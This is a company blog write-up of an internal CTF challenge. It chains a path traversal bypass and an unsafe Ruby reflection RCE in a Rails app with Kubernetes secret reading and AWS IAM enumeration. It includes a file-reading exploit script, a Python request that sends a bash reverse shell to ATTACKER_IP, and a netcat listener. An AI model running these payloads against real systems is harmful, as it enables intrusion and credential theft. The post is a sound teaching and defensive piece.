loyalty.dev
From Rails to the Cloud: Demonstrating a Hacking Path on a Rails Application to Kubernetes and AWS
At Ascenda, security is paramount. We continuously enhance our knowledge to stay ahead of evolving threats. In this blog post, we explore how attackers can compromise web applications and their underlying infrastructure.
Introduction
Vulnerabilities within a Rails application can serve as interconnected links that significantly escalate attacks, potentially compromising an organization’s infrastructure. This article explores an attacker’s methodology in finding and exploiting vulnerabilities such as Arbitrary File Reads and Unsafe Reflections in Ruby to achieve Remote Code Execution (RCE) on a Linux container. Additionally, it examines how Kubernetes and AWS environments are enumerated.
The application and environments analysed in this article were created as part of a Capture The Flag (CTF) challenge at Ascenda.
Arbitrary File Read → Leaked Environment Variables
Arbitrary File Reads gives attackers unauthorised access to read files on a system, including sensitive system files and configuration files. This vulnerability is particularly dangerous as it exposes critical information about the web application. This attack is commonly used in conjunction with Path Traversal, allowing for attackers to access files stored outside a web root folder via “dot-dot-slash (../
)” sequences.
- An Arbitrary File Read can only READ files, and is not to be confused with Local File Inclusion (LFI) which can be used to EXECUTE code files on a server.
This vulnerability arises from passing unsanitised user input directly to file system calls that open and read file contents. Here is a vulnerable code snippet that is responsible for displaying images in the browser:
def index
begin
anya_path = Rails.application.config.anya_dir
image = (anya_path + params.fetch(:img, 'anya.png')).gsub("../", "")
file = File.open(image)
@img = Base64.encode64(file.read)
file.close
@anyas = []
anya_pattern = anya_path + '*.txt'
Dir.glob(anya_pattern) do |filename|
anya = File.open(filename)
@anyas.append(anya.read)
anya.close
end
rescue => e
image = anya_path + 'anya.png'
file = File.open(image)
@img = Base64.encode64(file.read)
file.close
end
end
The image
variable uses params.fetch
, where the img
parameter is read from the user-controlled GET request. It is combined with anya_path
before being passed to File.open
, having its contents encoded with Base64. If img
is not present, image
defaults to anya.png
. In an attempt to prevent Path Traversal, gsub
is used to strip all ../
sequences within the string.
However, this control is insufficient since gsub
only scans through a string once, and does not strip ../
sequences recursively. Attackers can use ....//
sequences instead. When the inner ../
sequence is stripped from ....//
, it equates to ../
, thus still allowing Path Traversal to be abused.
To confirm that the attack works, an attacker would need a file on the server to read. The /etc/passwd
file is commonly used, since it is a global-readable file on Linux machines by default. curl
can be used to send and view the response.
$ curl 192.168.175.138/?img=....//....//....//....//etc/passwd
<!DOCTYPE html>
<html>
<head>
<title>Anya</title>
<meta name="viewport" content="width=device-width,initial-scale=1">
<link rel="stylesheet" href="/assets/application-225c472641e2c10faf08a4377118b6df421da00a403d94d27a7d5f3ac36ee7f2.css" data-turbo-track="reload" />
<script type="importmap" data-turbo-track="reload">{
"imports": {
"application": "/assets/application-37f365cbecf1fa2810a8303f4b6571676fa1f9c56c248528bc14ddb857531b95.js",
"@hotwired/turbo-rails": "/assets/turbo.min-dfd93b3092d1d0ff56557294538d069bdbb28977d3987cb39bc0dd892f32fc57.js",
"@hotwired/stimulus": "/assets/stimulus.min-dd364f16ec9504dfb72672295637a1c8838773b01c0b441bd41008124c407894.js",
"@hotwired/stimulus-loading": "/assets/stimulus-loading-3576ce92b149ad5d6959438c6f291e2426c86df3b874c525b30faad51b0d96b3.js",
"controllers/application": "/assets/controllers/application-368d98631bccbf2349e0d4f8269afb3fe9625118341966de054759d96ea86c7e.js",
"controllers/hello_controller": "/assets/controllers/hello_controller-549135e8e7c683a538c3d6d517339ba470fcfb79d62f738a0a089ba41851a554.js",
"controllers": "/assets/controllers/index-2db729dddcc5b979110e98de4b6720f83f91a123172e87281d5a58410fc43806.js"
}
}</script>
<link rel="modulepreload" href="/assets/application-37f365cbecf1fa2810a8303f4b6571676fa1f9c56c248528bc14ddb857531b95.js">
<link rel="modulepreload" href="/assets/turbo.min-dfd93b3092d1d0ff56557294538d069bdbb28977d3987cb39bc0dd892f32fc57.js">
<link rel="modulepreload" href="/assets/stimulus.min-dd364f16ec9504dfb72672295637a1c8838773b01c0b441bd41008124c407894.js">
<link rel="modulepreload" href="/assets/stimulus-loading-3576ce92b149ad5d6959438c6f291e2426c86df3b874c525b30faad51b0d96b3.js">
<script src="/assets/es-module-shims.min-4ca9b3dd5e434131e3bb4b0c1d7dff3bfd4035672a5086deec6f73979a49be73.js" async="async" data-turbo-track="reload"></script>
<script type="module">import "application"</script>
</head>
<body>
<nav>
<ul>
<li><a href="/">Home</a></li>
<li class='right'><a href="/user_sessions/new">Login</a></li>
<li class='right'><a href="/users/new">Register</a></li>
</ul>
</nav>
<br>
<h1>Yororosu onegaisurumasu - Anya</h1>
<img class="styled-image" src="data:image/png;base64,cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6
ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6
YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2
Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2Jpbjov
YmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9z
YmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vz
ci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vz
ci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNy
L3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdz
Oi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bv
b2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5
Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ct
ZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDoz
NDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6
eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9z
YmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9z
YmluL25vbG9naW4KX2FwdDp4OjQyOjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vz
ci9zYmluL25vbG9naW4Kbm9ib2R5Ong6NjU1MzQ6NjU1MzQ6bm9ib2R5Oi9u
b25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpyYWlsczp4OjEwMDA6MTAw
MDo6L2hvbWUvcmFpbHM6L2Jpbi9iYXNoCg==
" />
</body>
</html>
When the Base64 blob is decoded, the contents of the /etc/passwd
file are shown, proving that the attack works.
A Python script can be created to automate this process using requests
and BeautifulSoup
.
import base64
import requests
from bs4 import BeautifulSoup
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
URL = 'http://192.168.175.138'
while True:
file = input("Enter file name: ")
params = {
'img': f'....//....//....//....//..../{file}'
}
r = requests.get(URL, verify = False, params = params)
soup = BeautifulSoup(r.text, 'html.parser')
img_tag = soup.find('img', class_='styled-image')
src_attr = img_tag['src']
base64_string = src_attr.split(',')[1]
try:
decoded = base64.b64decode(base64_string.encode('ascii'))
print(decoded.decode())
except:
print("file not found :(")
From here, attackers may attempt to read configuration files that contain sensitive credentials used by the application. Alternatively, they can abuse the fact that everything is a file in Linux to read environment variables.
In Linux systems, hardware devices, directories, and process memory are represented as files. The /proc
directory is a virtual file system created by the kernel to facilitate communication with user-space programs. It contains information about each running process indexed by its assigned Process ID (PID), accessible at /proc/<PID>
. This includes details such as memory usage, executable path, file descriptors, and environment variables. This virtual file system allows for real-time monitoring and interaction with system processes and hardware.
Other files like /proc/version
can be read to find information about the Linux distribution used, or /proc/stat
to enumerate running processes.
An attacker can access the /proc/<PID>/environ
file, which contains the environment variables used by a process. Typically, API keys, passwords and other sensitive information are located here. In this scenario, the application is hosted within a container, hence having a PID of 1. When read, it leaks the administrator password for the web application, as well as the fact that Kubernetes is being used:
Unsafe Ruby Reflection → RCE
Remote code execution (RCE) occurs when an application incorporates user-controllable data into a string that is dynamically evaluated by a code interpreter. A specifically crafted input can be used to inject arbitrary code that will be executed server-side. This vulnerability is critical, potentially resulting in a total compromise of the application’s functionality, as well as the server hosting the application.
Below is a code snippet that is vulnerable to RCE via Ruby's reflection capabilities
ctype = params.fetch(:ctype, 'File')
cargs = params.fetch(:cargs, '')
cop = params.fetch(:cop, 'new')
if !cargs.is_a?(Array)
cargs = ["wb"]
end
if params.has_key?(:filename) && params.has_key?(:message)
filepath = Rails.application.config.anya_dir + params[:filename]
cargs.unshift(filepath)
c = ctype.constantize
k = c.public_send(cop, *cargs)
if k.kind_of?(File)
k.write(params[:message])
k.close()
else
render :plain => "Type is not implemented"
return
end
end
rescue => e
render :plain => "Error: " + e.to_s
return
end
There are five parameters retrieved from a GET request that are user-controlled: ctype
, cargs
, cop
, filename
, and message
. filename
is combined with the web root directory to give filepath
, which is appended to the start of cargs
via unshift
.
The security vulnerability is caused by the user-controlled variable ctype
being passed to constantize
. The latter converts a string into a constant and can dynamically load classes based on the provided class names.
Next, public_send
is used with cop
and cargs
. The public_send
method calls a public method on an object and passes any specified arguments. Here, the class being used is determined by ctype.constantize
. The cop
and cargs
parameters are user-controlled without sanitisation as well.
In summary, a user can:
- Instantiate any class by providing its name through
ctype
. - Invoke a public method specified by
cop
on the class determined byctype
. - Pass any arguments via
cargs
.
The combination of being able to load any class and call any public method allows a user to execute any Ruby code server-side, potentially leading to RCE. To achieve RCE, the user can use the Kernel
class and its public exec
method. The Kernel
class is included by the Object
class, which is present in all Ruby objects. The exec
method is used to execute command line arguments.
An attacker can get a reverse shell on the remote machine by executing bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1
.
- A reverse shell is a technique used by attackers to gain control of a target computer. This is done by executing commands on the target computer to initiate an outbound connection to an attacker-controlled machine, spawning a shell session that allows the attacker to remotely execute commands on the target.
To exploit the security vulnerability, the five parameters must be set as follows:
ctype
: Set toKernel
since this will be passed toconstantize
to be instantiated dynamically.filename
: Set to../../../../bin/bash
as this parameter is appended to the front ofcargs
, thus controlling the actual binary being executed. The../
sequences are used to escape the web root directory.cop
: Set toexec
to execute the arguments given in the command-line.cargs
: Must be an array, achieved by sending the parameter ascargs[]
. It is set to['-c', 'bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1']
. The-c
flag is used to execute the command string in the second element of the array.message
: Set to any arbitrary value, as it just has to be present.
This process can be automated using Python’s requests
library:
params = {
'ctype': 'Kernel',
'filename': '../../../../bin/bash',
'cargs[]': ['-c', 'bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1'],
'cop': 'exec',
'message': 'test'
}
r = s.get(URL + '/pages/anya', params = params)
A port can be opened and listening using nc -lvnp 4444
, receiving the outbound connection from the target machine.
Kubernetes Enumeration → Secrets Reading
Once attackers gain initial access to the container, their next objective would be to enumerate the environment. Since Kubernetes is being used to host the application, tools like kubectl
can be installed to gather information and potentially escalate privileges.
The first step in this process is to find the JSON Web Token (JWT) for the serviceaccount
, which is commonly found in one of the following directories:
/run/secrets/kubernetes.io/serviceaccount
/var/run/secrets/kubernetes.io/serviceaccount
/secrets/kubernetes.io/serviceaccount
This token allows for users to interact with the Kubernetes API. One can check their current privileges using kubectl auth can-i --list
, which shows that secrets
can be read:
Kubernetes secrets
are retrieved using kubectl get secrets
, and in this case it's storing AWS credentials:
AWS Keys → AWS Services Enumeration
Enumerating AWS environments is done using the aws
Command Line Interface (CLI) tool, requiring credentials in the form of keys. Typically, information about the current user, user policies and roles are checked, as they may contain information useful to attackers.
First, aws configure
is used to configure the tool to use the keys found above:
Afterwards, get-caller-identity
from the Security Token Service (STS) can be used to retrieve details about the Identity and Access Management (IAM) user.
The current user is anya-forger
. Using this, user policies can be listed using the list-attached-user-policies
method.
Querying the specific policy via the get-policy
method reveals more information.
The latest version is v6
, and previous iterations can be listed using list-policy-versions
.
Each version can be queried in detail using the get-policy-version
method.
The above reveals the existence of a Lambda function called anya-function
. More details about Lambda functions can be retrieved using get-function
.
For this challenge, querying the Lambda function reveals a S3 Bucket URL, which contained the final flag for the challenge.
To wrap it all up like a burrito
This article demonstrates how an attacker can gain access from a vulnerable application and enumerate the internal network to find sensitive information and escalate their privileges.
The root cause of most web application vulnerabilities is insufficient input sanitisation. In the example outlined above, there was little to no input validation, allowing an attacker to abuse an Arbitrary File Read to leak sensitive credentials, then craft an input to achieve Remote Code Execution via Ruby Injection.
What an attacker does after gaining initial access depends on their end goal. For example, a politically motivated attacker may deface the front-facing applications. In contrast, a financially motivated attacker may aim to leak customer data to blackmail the company, hence moving laterally to the production database. In the environment outlined above, the goal was to enumerate the Kubernetes and AWS environments to locate the flags.
It is important for organisations to identify and scope their threats appropriately, and then implement the right controls to reduce the realistic risks faced.